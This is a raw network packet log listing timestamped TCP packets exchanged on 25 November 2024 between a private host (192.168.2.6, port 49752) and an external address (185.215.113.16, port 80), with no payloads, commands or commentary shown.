Nov 25, 2024 18:28:35.003031015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.003139973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.003194094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.003823996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.003921032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.004015923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.004616022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.004750013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.004791021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.005292892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.005347013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.005459070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.006129026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.006206989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.006370068 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.006829023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.006936073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.007046938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.007635117 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.007884979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.007925034 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.008352995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.008517981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.008646965 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.009147882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.009279013 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.009357929 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.010056019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.010071993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.010171890 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.010725021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.010735989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.010818005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.011409998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.011576891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.011627913 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.011627913 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.012202978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.012343884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.012816906 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.012964964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.013109922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.013195038 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.013709068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.013853073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.013895035 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.014507055 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.014600039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.015330076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.015341043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.015423059 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.016030073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.016217947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.016491890 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.016808987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.016925097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.016973972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.017534971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.017648935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.017865896 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.018512011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.018599987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.018645048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.019026995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.019120932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.019299030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.019846916 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.019932032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.020015001 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.020642042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.020785093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.020828009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.021406889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.021488905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.021552086 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.022205114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.022247076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.022402048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.022952080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.023158073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.023222923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.023817062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.023828030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.023874044 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.024411917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.024646997 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.024708033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.025594950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.025773048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.025935888 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.026117086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.076378107 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.178116083 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.189589024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.189604044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.189840078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.189852953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.189884901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.189903021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.190566063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.190692902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.190771103 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.191354990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.191411972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.191462994 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.192019939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.192164898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.192250967 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.192742109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.192928076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.192971945 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.193497896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.193681002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.194257975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.194315910 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.194390059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.195075035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.195326090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.195487022 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.195811987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.195946932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.196007013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.196587086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.196674109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.197360992 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.197367907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.197413921 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.197463036 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.198206902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.198302984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.198473930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.199047089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.199058056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.199163914 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.199634075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.199839115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.199899912 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.200737000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.200890064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.200939894 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.201400042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.201505899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.201622009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.202225924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.202265978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.202347994 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.202836990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.202929974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.203109026 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.203566074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.203651905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.203732967 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.204941034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.205986023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.206191063 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.207866907 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207880020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207894087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207911968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207923889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207933903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207948923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207959890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.207968950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.207968950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.208009958 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.208276033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.208288908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.210274935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.210367918 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.210441113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.211936951 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.215224981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.215239048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.215296984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.215888023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.216062069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.216284037 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.216504097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.216706991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.216779947 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.217216969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.217228889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.217288971 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.217644930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.217823982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.217870951 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.218369961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218383074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218439102 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.218816042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218853951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218880892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218890905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218943119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218955040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.218967915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.219039917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.219108105 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.219124079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.219140053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.219151020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.219182968 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.219240904 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.219537020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.219883919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.219952106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.220438957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.220520020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.220577955 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.220652103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.220825911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.220902920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.221215010 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.221227884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.221276999 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.221900940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.221914053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.222017050 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.222770929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.222882032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.223021984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.223368883 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.223606110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.223663092 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.224093914 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.224260092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.224358082 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.224503040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.224971056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.225755930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.225820065 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.225909948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.226030111 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.226769924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.226788998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.226843119 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.227411032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.227422953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.227489948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.227899075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.227921963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.227936983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.227952957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.227979898 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.228012085 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.228698015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.228710890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.228775978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.229420900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.279510975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.391587973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.391603947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.392131090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.392205000 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.392220974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.392662048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.392745018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.393011093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.393537045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.393548965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.393616915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.394177914 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.394591093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.394679070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.395360947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.395373106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.395530939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.395884037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.395895004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.396008015 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.396811008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.396822929 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.396868944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.397505999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.397519112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.397660971 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.398283005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.398297071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.398333073 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.398863077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.398910046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.398992062 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.399507046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.399712086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.399780035 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.400738955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.400832891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.401022911 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.401607037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.401618958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.401671886 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.401854038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.401973963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.402038097 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.402676105 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.402915955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.402975082 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.403651953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.403664112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.403726101 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.404428005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.404441118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.404498100 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.404860973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.405009985 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.405141115 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.405339956 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.405606031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.405672073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.406455994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.406569958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.406625032 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.408257961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.408271074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.408642054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.408700943 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.409183979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.409264088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.409276962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.409307003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.409348011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.409431934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.409522057 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.409601927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.410511017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.410521984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.410568953 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.411230087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.411245108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.411293030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.412060022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.412076950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.412136078 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.412945032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.412956953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.413009882 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.413284063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.413324118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.413397074 CET	49752	80	192.168.2.6	185.215.113.16
